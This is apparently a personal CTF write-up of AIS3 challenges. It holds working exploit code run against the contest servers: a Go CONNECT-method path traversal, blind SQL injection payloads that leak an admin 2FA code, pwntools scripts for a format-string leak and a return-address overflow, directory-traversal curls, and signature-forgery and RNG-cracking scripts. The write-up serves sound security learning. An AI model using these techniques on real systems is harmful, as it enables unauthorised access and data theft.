realized i suck so bad so i just gave up midway in and dropped out of top 5 lmfao
Web
Tomorin db 🐧
classic path traversal chall:
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
this hacktricks section has our solution:
In golang, the library net/http usually transforms the path to a canonical one before accessing it:
- /flag/ – Is responded with a redirect to /flag
- /../flag — Is responded with a redirect to /flag
- /flag/. – Is responded with a redirect to /flag
However, when the CONNECT method is used this doesn’t happen. So, if you need to access some protected resource you can abuse this trick:curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
and thus we execute
curl --path-as-is -X CONNECT http://chals1.ais3.org:30000/flag
flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
Login Screen 1
solved without source so ill keep my solution
though for context’s sake, this is the login SQL query:
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
we need to login as admin
to see posts, but it’s gated behind a 2FA too
given credentials guest:guest
, we can use if the login succeeded or not to do a blind sqli
inputting admin'OR 1=1--
in name field on login seems to work, so sqli on login’s probably more viable
however we still dont have 2FA, so we first we’ll leak the table count, which is 3:
admin' AND (SELECT count(1) FROM sqlite_master WHERE type='table') = 3--
and we can leak the table names:
admin' AND (SELECT ASCII(SUBSTR(name, {character position}, 1)) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {table index}) = {ascii code}
then leak column names:
admin' AND (SELECT unicode(substr(name, {character position}, 1)) FROM pragma_table_info('{table name}') LIMIT 1 OFFSET {column index}) = {ascii code}
we’ll get partial database structure:
Users
username
password
code
created_at
sqlite_sequence
posts
id
user_id
content
created_at
but note that the server actually treats your input as your actual name, instead of the result of the SQL
which means your sqli will get in the way (name’s admin'OR 1=1--
, but we need admin
)
thus we need to leak the password. but i kinda just guessed it lmao admin:admin
finally we can leak admin’s 2FA:
admin' AND (SELECT unicode(substr((SELECT code FROM Users WHERE username='admin'),1,1))) = {ascii code} --
which is 51756447753485459839
after inputting we can see our flag in the 2nd post:
flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
Pwn
Format Number
chal:
void check_format(char *format) {
for (int i = 0; format[i] != '\0'; i++) {
char c = format[i];
if (c == '\n') {
format[i] = '\0';
return;
}
if (!isdigit(c) && !ispunct(c)) {
printf("Error format !\n");
exit(1);
}
}
}
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
srand(time(NULL));
int number = rand();
int fd = open("/home/chal/flag.txt", O_RDONLY);
char flag[0x100] = {0};
read(fd, flag, 0xff);
close(fd);
printf(flag)
char format[0x10] = {0};
printf("What format do you want ? ");
read(0, format, 0xf);
check_format(format);
char buffer[0x20] = {0};
strcpy(buffer, "Format number : %3$");
strcat(buffer, format);
strcat(buffer, "d\n");
printf(number)
printf(buffer, "Welcome", "~~~", number);
return 0;
}
check_format
only checks if input consists solely of digits and punctuations, so we can achieve arbitrary stack read by ;%n$
we can brute the index to leak the flag loaded on the stack
from pwn import *
from Crypto.Util.number import *
import time
ans=[]
for i in range(100):
#p = process('./chal')
p = remote('chals1.ais3.org', 50960)
p.sendlineafter(b'? ', (';%' +str(i) + '$').encode())
p.recvuntil(b'Format number : %;')
n = p.recvline().strip().decode()
try:
ans.append(long_to_bytes(int(n)))
except:
ans.append(b'')
p.close()
time.sleep(0.5)
print(b''.join(ans))
output:
b'Vd@JVY\xf0F\x16F\xafd\x002JJR\x03$7%;\x00\x00\x00mroFn taebmu : r;$3%$61%\nd\x00\xfe\xffAIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ny\xcf\x00\x00\x00\x00\x00\x00\x01'
flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
Welcome to the World of Ave Mujica🌙
asks us for our name and its length
lets disassemble:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[143]; // [rsp+0h] [rbp-A0h] BYREF
char prompt_response[8]; // [rsp+8Fh] [rbp-11h] BYREF
unsigned __int8 name_len; // [rsp+97h] [rbp-9h]
char *v7; // [rsp+98h] [rbp-8h]
// ...
fgets(prompt_response, 8, stdin);
v7 = strchr(prompt_response, 10);
if ( v7 )
*v7 = 0;
if ( strcmp(prompt_response, "yes") )
{
puts(&byte_402AE8);
exit(1);
}
printf(&byte_402B20);
name_len = read_int8();
printf(&byte_402B41);
read(0, buf, name_len);
return 0;
}
lets inspect read_int8
:
__int64 read_int8()
{
char buf[4]; // [rsp+8h] [rbp-8h] BYREF
int input; // [rsp+Ch] [rbp-4h]
read(0, buf, 4uLL);
input = atoi(buf);
if ( input > 127 )
{
puts(&byte_402A38);
exit(1);
}
return (unsigned int)input;
}
notice our length input can go negative, and that its casted to unsigned int after
which means if we input -1
, it’ll actually become 4294967295
since we control read length, we can buffer overflow to overwrite RIP!
from pwn import *
import base64
p = remote('chals1.ais3.org', 60140)
p.recvline()
p.sendline(b'yes')
p.sendlineafter(b': ', b'-1')
payload = b'A' * 168 + p64(0x401256)
p.sendlineafter(b': ', payload)
p.sendline(b'cat flag')
p.recvuntil(b'AIS3')
ans = p.recvline()
print(base64.b64encode(ans)) #unicode chars doesnt get sent properly
flag: AIS{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._8433ec16cb656784bb6b668165e9895b}
Misc
Ramen CTF
我在吃 CTF,喔不對,拉麵,但我忘記我在哪間店吃了...,請幫我找出來
(P.S. FlagFormat: AIS3{google map 上的店家名稱:我點的品項在菜單上的名稱})
Author: whale120
on the right side we can see a QR code in the receipt, so i just scanned it with LINE
order and shop name leak! except that shop name doesn’t match google maps
getting the right name should be trivial though
flag: AIS3{樂山溫泉拉麵:蝦拉麵}
(i didn’t know i could just inspect the receipt after scanning so i just bruted around 30 wrong flags LOL)
AIS3 Tiny Server - Web/Misc
we are given a modified ver. of 7890/tiny-web-server that basically just lists directory files
on the page /index.html reads:
Hidden secrets lie above so high,
Where root directory holds treasures you can spy.
File inclusion shows the way,
To read the flag without delay.
if we go to / we’ll be greeted with:
index.html 2025-05-22 16:22 4.7K
nice! directory traversal
the rest is trivial:
❯ curl --path-as-is http://chals1.ais3.org:20366/../../../
...
<tr><td><a href="home/">home/</a></td><td>2022-04-18 10:28</td><td>[DIR]</td></tr>
<tr><td><a href="boot/">boot/</a></td><td>2022-04-18 10:28</td><td>[DIR]</td></tr>
<tr><td><a href="readable_flag_ZfIcOW4iawUOxB6SFrkC0pGfn506zipy">readable_flag_ZfIcOW4iawUOxB6SFrkC0pGfn506zipy</a></td><td>2025-05-30 05:18</td><td>54</td></tr>
<tr><td><a href=".dockerenv">.dockerenv</a></td><td>2025-05-30 05:18</td><td>0</td></tr>
<tr><td><a href="readflag">readflag</a></td><td>2025-05-22 16:22</td><td>884.1K</td></tr>
❯ curl --path-as-is http://chals1.ais3.org:20366/../../../readable_flag_ZfIcOW4iawUOxB6SFrkC0pGfn506zipy
AIS3{tInY_we8_S3rV3R_wiTH_fIle_8r0Ws1n9_4S_@_Fe4TUre}
flag: AIS3{tInY_we8_S3rV3R_wiTH_fIle_8r0Ws1n9_4S_@_Fe4TUre}
Welcome
Copy & Paste ?
You don’t know how to copy & paste ???
Let me teach you : Ctrl + c & Ctrl + v 😮💨😮💨😮💨
tfw every single character is wrapped in a span
surely we just select from below, ctrl+c then clean!
copied: AIS3{This_Is_Just_A_Fake_Flag_~~}
just kidding! its in the content of the ::before pseudo-elements
dont be lazy and type it all out
flag: AIS3{Welcome_And_Enjoy_The_CTF_!}
Crypto
SlowECDSA
chal:
import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag
FLAG = flag
class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m
def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state
curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()
lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)
def sign(msg: bytes):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
return r, s
def verify(msg: str, r: int, s: int):
h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
try:
sig = number_to_string(r, order) + number_to_string(s, order)
return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
except:
return False
example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")
while True:
opt = input("Enter option: ").strip()
if opt == "get_example":
print(f"msg: {example_msg.decode()}")
example_r, example_s = sign(example_msg)
print(f"r: {hex(example_r)}")
print(f"s: {hex(example_s)}")
elif opt == "verify":
msg = input("Enter message: ").strip()
r = int(input("Enter r (hex): ").strip(), 16)
s = int(input("Enter s (hex): ").strip(), 16)
if verify(msg, r, s):
if msg == "give_me_flag":
print("✅ Correct signature! Here's your flag:")
print(FLAG.decode())
else:
print("✔️ Signature valid, but not the target message.")
else:
print("❌ Invalid signature.")
else:
print("Unknown option. Try again.")
our goal is to send give_me_flag
w/ a forged signature
we know the LCG params:
a=1103515245
c=12345
m=6277101735386680763835789423176059013767194773182842284081 (NIST192p's curve generator order is fixed)
option get_example
gives us r
, s
, where:
we want to know k
and x
, so we’ll get 2 examples:
after recovering x
we can also recover k
then we just have to pick one of our two examples, and forge a signed message with its r
and s
import hashlib
from Crypto.Util.number import inverse
from pwn import *
a=1103515245
c=12345
m=6277101735386680763835789423176059013767194773182842284081
p = remote('chals1.ais3.org', 19000)
p.recvline()
p.recvline()
p.sendlineafter(b': ', b'get_example')
p.recvline()
r1 = int(p.recvline().split()[-1], 16)
s1 = int(p.recvline().split()[-1], 16)
p.sendlineafter(b': ', b'get_example')
p.recvline()
r2 = int(p.recvline().split()[-1], 16)
s2 = int(p.recvline().split()[-1], 16)
h = int.from_bytes(hashlib.sha1(b'example_msg').digest(), 'big') % m
x = (h*(a*inverse(s1, m) - inverse(s2, m)) + c) * inverse((inverse(s2, m) * r2 - a * inverse(s1, m) * r1), m) % m
k1 = (inverse(s1, m) * (h + r1 * x)) % m
ct = int.from_bytes(hashlib.sha1(b'give_me_flag').digest(), 'big') % m
s = (pow(k1, -1, m) * (ct + r1 * x)) % m
p.sendlineafter(b': ', b'verify')
p.sendlineafter(b': ', b'give_me_flag')
p.sendlineafter(b': ', hex(r1).encode())
p.sendlineafter(b': ', hex(s).encode())
p.interactive()
output:
[+] Opening connection to chals1.ais3.org on port 19000: Done
[*] Switching to interactive mode
✅ Correct signature! Here's your flag:
AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}
Stream
chal:
import random
import os
from hashlib import sha512
from flag import flag
def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)
for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), random.getrandbits(256)))
print(hexor(flag, random.getrandbits(256)))
observations:
os.urandom(True)
only gives one byterandom.getrandbits(256)
is synonymous with 8 timesrandom.getrandbits(32)
which means we have 80*8=640 32-bit numbers, enough for randcrack
to retrieve the rand bits we can just brute the urandom, and check if the resulting number has a square root (a.k.a b
)
import hashlib
from Crypto.Util.number import *
from gmpy2 import isqrt
from randcrack import RandCrack
shas = []
for i in range(256):
h = hashlib.sha512(bytes([i])).digest()
shas.append(int.from_bytes(h))
with open('output.txt', 'r') as file:
lines = [line.strip() for line in file]
bis = []
for line in lines[:-1]: #last one is flag ciphertext
line_int = int(line, 16)
for sha in shas:
candidate = line_int ^ sha
root = isqrt(candidate)
if candidate == root ** 2:
bis.append(root)
break
# note that the 8 32-bit chunks in random.getrandbits(256) is in reverse reading order
# [chunk7][chunk6]...[chunk1][chunk0]
# so we parse it to normal order
twister_outputs = []
for bi in bis:
bi = long_to_bytes(bi)
tmp = []
for i in range(0, 32, 4):
chunk = bi[i:i+4]
tmp.append(bytes_to_long(chunk))
tmp = tmp[::-1]
for i in range(8):
twister_outputs.append(tmp[i])
rc = RandCrack()
for num in twister_outputs[:624]:
rc.submit(num)
# remember we're offsetted by 640 - 624 = 16
for i in range(16):
rc.predict_getrandbits(32)
# combine chunks in reverse w/ a hacky way because idk the proper way
predicted = ''
for i in range(8):
nxt = rc.predict_getrandbits(32)
predicted = hex(nxt) + ' ' + predicted
predicted = '0x' + predicted.replace('0x', '').replace(' ', '')
WTF = int(predicted, 16)
flag = "0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694"
flag = int(flag, 16)
flag ^= WTF ** 2
print(long_to_bytes(flag))
flag: AIS3{no_more_junks...plz}
Hill
chal:
import numpy as np
p = 251
n = 8
def gen_matrix(n, p):
while True:
M = np.random.randint(0, p, size=(n, n))
if np.linalg.matrix_rank(M % p) == n:
return M % p
A = gen_matrix(n, p)
B = gen_matrix(n, p)
def str_to_blocks(s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data)) # padding
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks
def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C
flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)
print("Encrypted flag:")
for c in ciphertext:
print(c)
t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
print(c)
our goal is obviously leak A and B at once with one input
we have the relation:
we can leak A using basis vectors, and zeroing every (k+1)th block out to leak B too
finally, use A^-1 to recover flag blocks
from pwn import *
import numpy as np
import sympy as sp
p, n = 251, 8
def recv_matrix(row_cnt):
res = np.zeros((row_cnt, n), dtype=int)
for i in range(row_cnt):
l = r.recvline().decode().strip()
res[i] = list(map(int, l.strip()[1:-1].split()))
return res
r = remote('chals1.ais3.org', 18000)
r.recvline()
ct = recv_matrix(5)
payload = bytearray()
for k in range(n):
for i in range(n):
payload.append(1 if i == k else 0)
payload.extend(b'\x00' * n)
r.sendlineafter(b': ', bytes(payload))
c = recv_matrix(16)
A = np.stack([c[2*k] for k in range(n)], axis=1) % p
B = np.stack([c[2*k+1] for k in range(n)], axis=1) % p
A_inv = np.array(sp.Matrix(A.tolist()).inv_mod(p), dtype=int) % p
pt = []
for i, cblk in enumerate(ct):
if i == 0:
m = A_inv.dot(cblk) % p
else:
m = A_inv.dot((cblk - B.dot(pt[i-1])) % p) % p
pt.append(m)
print(''.join(chr(x) for block in pt for x in block))
flag: AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}
Random_RSA
chal:
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime
FLAG = b"AIS3{Fake_FLAG}"
a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)
rng = lambda x: (a*x + b) % m
def genPrime(x):
x = rng(x)
k=0
while not(is_prime(x)):
x = rng(x)
return x
p = genPrime(seed)
q = genPrime(p)
n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)
# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)
with open("output.txt", "w") as f:
f.write(f"h0 = {h0}\n")
f.write(f"h1 = {h1}\n")
f.write(f"h2 = {h2}\n")
f.write(f"M = {m}\n")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")
we have the below affine relations, and we want a
and b
:
which is trivial:
$$ \begin{aligned} h_2 - h_1 &= a \cdot (h_1 - h_0) \newline a &= (h_2 - h_1) \cdot (h_1 - h_0)^{-1} \newline b &= h_1 - a \cdot h_0 \end{aligned} $$recovering p
, q
however, is not. let’s simplify:
it’s a quadratic! we can then find the seed by bruting iteration count (k
, l
), and the quadratic formula
from Crypto.Util.number import *
from itertools import product
from tqdm import tqdm
# https://gist.github.com/nakov/60d62bdf4067ea72b7832ce9f71ae079
def legendre_symbol(a, p):
ls = pow(a, (p - 1) // 2, p)
return -1 if ls == p - 1 else ls
def modular_sqrt(a, p):
if legendre_symbol(a, p) != 1: return 0
elif a == 0: return 0
elif p == 2: return p
elif p % 4 == 3: return pow(a, (p + 1) // 4, p)
s = p - 1
e = 0
while s % 2 == 0:
s //= 2
e += 1
n = 2
while legendre_symbol(n, p) != -1:
n += 1
x = pow(a, (s + 1) // 2, p)
b = pow(a, s, p)
g = pow(n, s, p)
r = e
while True:
t = b
m = 0
for m in range(r):
if t == 1:
break
t = pow(t, 2, p)
if m == 0:
return x
gs = pow(g, 2 ** (r - m - 1), p)
g = (gs * gs) % p
x = (x * gs) % p
b = (b * g) % p
r = m
h0 = 2907912348...
h1 = 5219570204...
h2 = 3292606373...
m = 9231171733...
n = 2059932812...
e = 65537
c = 1385939095...
a = ((h2 - h1) * inverse(h1 - h0, m)) % m
b = (h1 - a * h0) % m
test = 1000
arrA, arrB = [1], [0]
for i in range(1, 3*test+1):
arrA.append((arrA[i-1] * a) % m)
arrB.append((arrB[i-1] + arrA[i-1] * b) % m)
p, q = -1, -1
for k, l in tqdm(product(range(1, test+1), range(1, test+1))):
A = arrA[2*k+l] % m
B = (arrA[k]*arrB[k+l] + arrA[k+l]*arrB[k]) % m
C = (arrB[k]*arrB[k+l] - n) % m
win = False
for sign in [1, -1]:
if legendre_symbol(B**2 - 4*A*C, m) == -1:
continue
seed = (-B + sign * modular_sqrt(B**2 - 4*A*C, m)) * inverse(2*A, m)
testp = (arrA[k]*seed + arrB[k]) % m
testq = (arrA[k+l]*seed + arrB[k+l]) % m
if n % testp != 0 or n % testq != 0:
continue
win = True
p, q = testp, testq
if win:
break
if p == -1 or q == -1:
print("epic fail")
exit()
phi = (p-1)*(q-1)
d = inverse(e, phi)
pt = pow(c, d, n)
print(long_to_bytes(pt))
output:
204it [00:01, 136.78it/s]
b'AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}'
flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}
Happy Happy Factoring
chal:
import random
from functools import reduce
from gmpy2 import is_prime
prime_list = [num for num in range(3, 5000) if is_prime(num)]
def get_william_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n - 1):
return n - 1
def get_pollard_prime():
while True:
li = [2] + random.choices(prime_list, k=85)
n = reduce(lambda x, y: x * y, li)
if is_prime(n + 1):
return n + 1
def get_fermat_prime():
a = random.getrandbits(1024)
if a % 2 != 0:
a += 1
check = 0
for offset in range(random.getrandbits(512) | 1, 1 << 512 + 1, 2):
if (not check & 1) and is_prime(a + offset):
check |= 1
p = a + offset
if (not check & 2) and is_prime(a - offset):
check |= 2
q = a - offset
if check == 3:
return p, q
def main():
wi = get_william_prime()
po = get_pollard_prime()
fp, fq = get_fermat_prime()
n = wi * po * po * fp * fq
e = 0x10001
m = int.from_bytes(open('flag.txt').read().strip().encode())
c = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
main()
the function names already tell us the solution, just use the factoring methods related to the people
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot
import builtins
n = 607637189...
N = n
e = 65537
c = 442070308...
#get_pollard_prime hints to pollards p-1
#modified from https://ir0nstone.gitbook.io/crypto/rsa/factorisation-methods/pollards-p-1
def pollards(n, iterations=10000):
cur = 2
for i in range(2, iterations):
cur = pow(cur, i, n)
tst = gcd(cur-1, n)
if tst != 1:
return tst
else:
return None
po = pollards(n)
print(f'po: {po}')
n//=po
n//=po
#------------------------
#get_william_prime hints to williams p+1
#modified from https://programmingpraxis.com/2010/06/04/williams-p1-factorization-algorithm/
def ilog(x, base):
return int(log(x, base))
def primegen():
yield 2; yield 3; yield 5; yield 7; yield 11; yield 13
ps = primegen() # yay recursion
p = builtins.next(ps)
p = builtins.next(ps)
q, sieve, n = p^2, {}, 13
while True:
if n not in sieve:
if n < q: yield n
else:
next, step = q + 2*p, 2*p
while next in sieve: next += step
sieve[next] = step
p = builtins.next(ps)
q = p^2
else:
step = sieve.pop(n)
next = n + step
while next in sieve: next += step
sieve[next] = step
n += 2
def mlucas(v, a, n):
v1, v2 = v, (v**2 - 2) % n
for bit in bin(a)[3:]: v1, v2 = ((v1**2 - 2) % n, (v1*v2 - v) % n) if bit == "0" else ((v1*v2 - v) % n, (v2**2 - 2) % n)
return v1
def williams_pp1(n, max_v):
for v in range(max_v):
for p in primegen():
if p>=n: break
e = ilog(sqrt(n), p)
if e == 0: break
for _ in range(e): v = mlucas(v, p, n)
g = gcd(v - 2, n)
if 1 < g < n: return g
if g == n: break
wi = williams_pp1(n,5)
print(f'wi: {wi}')
n//=wi
#------------------------
#get_fermat_prime hints to fermat's factorization method
#https://en.wikipedia.org/wiki/Fermat%27s_factorization_method#Basic_method
def fermat_factor(n):
a = int(isqrt(n)) + 1
b = iroot(a ** 2 - n, 2)
while not b[1]:
a += 1
b = iroot(a ** 2 - n, 2)
print(a)
b = int(b[0])
return (a - b), (a + b)
fp, fq = fermat_factor(n)
print(f'fp, fq: {fp}, {fq}')
phi = po*(po-1)*(wi-1)*(fp-1)*(fq-1)
d = inverse_mod(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))
output:
po: 37021275572790082192379533288704688535293473545958385025549690675904471573219980209972828244025329762230759053863199755658020475141048058736510710680444844461116108035174159013570815934305537913272505253121747245324932852742564134158131504996633322520519431558100438167
wi: 13724774538447070327979693614547817168124884989451610940801578056279057833807379694848872164279961986596312325493146862956197489865548344532953497594522647140137603497421573845399796269120931218582151408919487607271970333135495886340580331325745398768576950542146604563970373
fp, fq: 1797290114159693323989762096979140187698485236416597675521859185650014625929914125199112031072687163725036991060223004058282636353560186927474270239776076165008500410649005184281171706694080829043361520951700099156403590420648240134975686551614552593433626075522047925249225912399803655009044583112072831069, 1797290114159693323989762096979140187698485236416597675521859185650014625929914125199112031072687163725036991060223004058282636353560186927474270239776076798589587543514454032951000956290817627291716666905485856531167667731334844508903552262166793410065299546829046316294630547983330097778364431516673829323
b'AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}'
flag: AIS3{H@ppY_#ap9y_CRypT0_F4(7or1n&~~~}
Reverse
AIS3 Tiny Server - Reverse
throwing tiny
in IDA we can see a suspicious encryption function sub_1E20
:
index = 0;
enc_chr = '3';
key_chr = 'r';
enc[0] = 1480073267;
enc[1] = 1197221906;
enc[2] = 254628393;
enc[3] = 920154;
enc[4] = 1343445007;
enc[5] = 874076697;
enc[6] = 1127428440;
enc[7] = 1510228243;
enc[8] = 743978009;
enc[9] = 54940467;
enc[10] = 1246382110;
qmemcpy(key, "rikki_l0v3", sizeof(key));
while ( 1 ) {
*((_BYTE *)enc + index++) = enc_chr ^ key_chr;
if ( index == 45 )
break;
enc_chr = *((_BYTE *)enc + index);
key_chr = key[index % 10];
}
for ( i = 0; i != 45; ++i ) {
input_chr = *(_BYTE *)(input + i);
if ( !input_chr || input_chr != *((_BYTE *)enc + i) )
return 0;
}
return *(_BYTE *)(input + 45) == 0;
yea it’s just inverting xor by xoring it again. how curious!
from Crypto.Util.number import long_to_bytes
enc = [1480073267,1197221906,254628393,920154,1343445007,874076697,1127428440,1510228243,743978009,54940467,1246382110]
enc2 = bytearray()
for val in enc:
enc2.extend(long_to_bytes(val, 4)[::-1]) #little endian so reverse
key = b"rikki_l0v3"
for i in range(len(enc2)):
enc2[i] ^= key[i % 10]
print(enc2[:45].decode('ascii'))
flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
web flag checker
disassembling the wasm with ghidra we’ll find a function named export::flagchecker
undefined4 export::flagchecker(int param1){
int iVar1;
int iVar2;
longlong lVar3;
int index;
longlong local_40 [4];
undefined8 local_20;
undefined4 local_c;
int local_8;
undefined4 isCorrect;
local_c = 0xfd9ea72d;
local_40[0] = 0x69282a668aef666a;
local_40[1] = 0x633525f4d7372337;
local_40[2] = 0x9db9a5a0dcc5dd7d;
local_40[3] = 0x9833afafb8381a2f;
local_20 = 0x6fac8c8726464726;
if ((param1 == 0) ||
(local_8 = param1, iVar2 = unnamed_function_13(param1), iVar1 = local_8, iVar2 != 0x28)) {
isCorrect = 0;
}
else {
for (index = 0; index < 5; index = index + 1) {
lVar3 = unnamed_function_8(*(undefined8 *)(iVar1 + index * 8),
0xfd9ea72dU >> (index * 6 & 0x1fU) & 0x3f);
if (lVar3 != local_40[index]) {
return 0;
}
}
isCorrect = 1;
}
return isCorrect;
}
which uses unnamed_function_13
:
int unnamed_function_13(uint *param1){
uint *puVar1;
uint *puVar2;
puVar2 = param1;
if (((uint)param1 & 3) == 0) {
code_r0x800008db:
do {
puVar1 = puVar2;
puVar2 = puVar1 + 1;
} while (((0x1010100 - *puVar1 | *puVar1) & 0x80808080) == 0x80808080);
// if
do {
puVar2 = puVar1;
puVar1 = (uint *)((int)puVar2 + 1);
} while (*(char *)puVar2 != '\0');
}
else {
if (*(char *)param1 == '\0') {
return 0;
}
do {
puVar2 = (uint *)((int)puVar2 + 1);
if (((uint)puVar2 & 3) == 0) goto code_r0x800008db;
} while (*(char *)puVar2 != '\0');
}
return (int)puVar2 - (int)param1;
}
figuring these operations out is challenging, so we’ll resort to trial and error:
1234567890 -> 10
1234567890123 -> 13
-> 0
and sure enough its just strlen()
, which confirms our flag is 40 chars
lets check unnamed_function_8
:
ulonglong unnamed_function_8(ulonglong param1,uint param2){
return param1 << ((ulonglong)param2 & 0x3f) | param1 >> ((ulonglong)(0x40 - param2) & 0x3f);
}
it combines our param1
shifted to the left by param2
bits, and shifted to the right by (64 - param2)
bits
which is essentially shift param1
left by param2
bits
so this line just takes five 6-bits from 0xfd9ea72d
as shift amount
iVar3 = unnamed_function_8(*(undefined8 *)(iVar1 + index * 8), 0xfd9ea72dU >> (index * 6 & 0x1fU) & 0x3f);
which are [61, 39, 42, 28, 45]
now we have enough info to solve!
from Crypto.Util.number import *
def ror(x, n):
return ((x >> n) | (x << (64-n))) & 0xffffffffffffffff
shift = [45, 28, 42, 39, 61] #the shifts are applied in reverse order
enc = [0x69282a668aef666a,0x633525f4d7372337,0x9db9a5a0dcc5dd7d,0x9833afafb8381a2f,0x6fac8c8726464726]
blocks = [ror(t, s) for t, s in zip(enc, shift)]
flag = b''.join(long_to_bytes(b)[::-1] for b in blocks) #dont forget little endian
print(flag)
flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
A_simple_snake_game
first open up IDA and analyze, we can see a suspicious check in SnakeGame::Screen::drawText
if ( (int)this <= 11451419 || a3 <= 19810 ) {
SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
// ...
} else {
v14[0] = -831958911;
v14[1] = -1047254091;
// ...
noticing the random numbers i suspected this must be the win condition. lets trace this
and a3
drawText
is called by update
:
int __userpurge SnakeGame::Screen::update@<eax>(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, char a4, bool a5) {
SDL_UpdateTexture(a1[2], 0, a1[6], 3200);
SDL_RenderClear(a1[1]);
SDL_RenderCopy(a1[1], a1[2]);
if ( a4 != 1 )
SnakeGame::Screen::drawText(this, a3, 0);
return SDL_RenderPresent(a1[1]);
}
which is called in the main logic:
while ( !v32 && v23 > 0 ) {
// ...
drawWalls(v20, v26);
SnakeGame::Screen::update(v33, v23, 0, v14);
we can infer that v33
is our score, as it gets incremented by food’s value:
if ( (unsigned __int8)SnakeGame::Snake::collidesWith((SnakeGame::Snake *)v21, v12) ) {
SnakeGame::Food::Food(v27);
SnakeGame::Food::operator=(v27);
v33 = (SnakeGame::Screen *)((char *)v33 + SnakeGame::Food::S_VALUE);
SnakeGame::Snake::addSection(v8);
}
and we can infer that v23 is our lives, since we immediately die when it reaches 0:
if ( !v23 ) {
SnakeGame::Screen::clear(v6);
SnakeGame::Screen::drawGameOver(v10);
SnakeGame::Screen::update(v33, v23, 1, v14);
holdGame((SnakeGame::Screen *)v26, 3000);
}
thus our win condition is score >= 11451419 && lives > 19810
…which is humanly impossible. lets use cheat engine!
modifying score is trivial, but for lives it actually counts down from 3, instead of whats shown on screen (counts down from 2), so a little bit of trolling here
flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}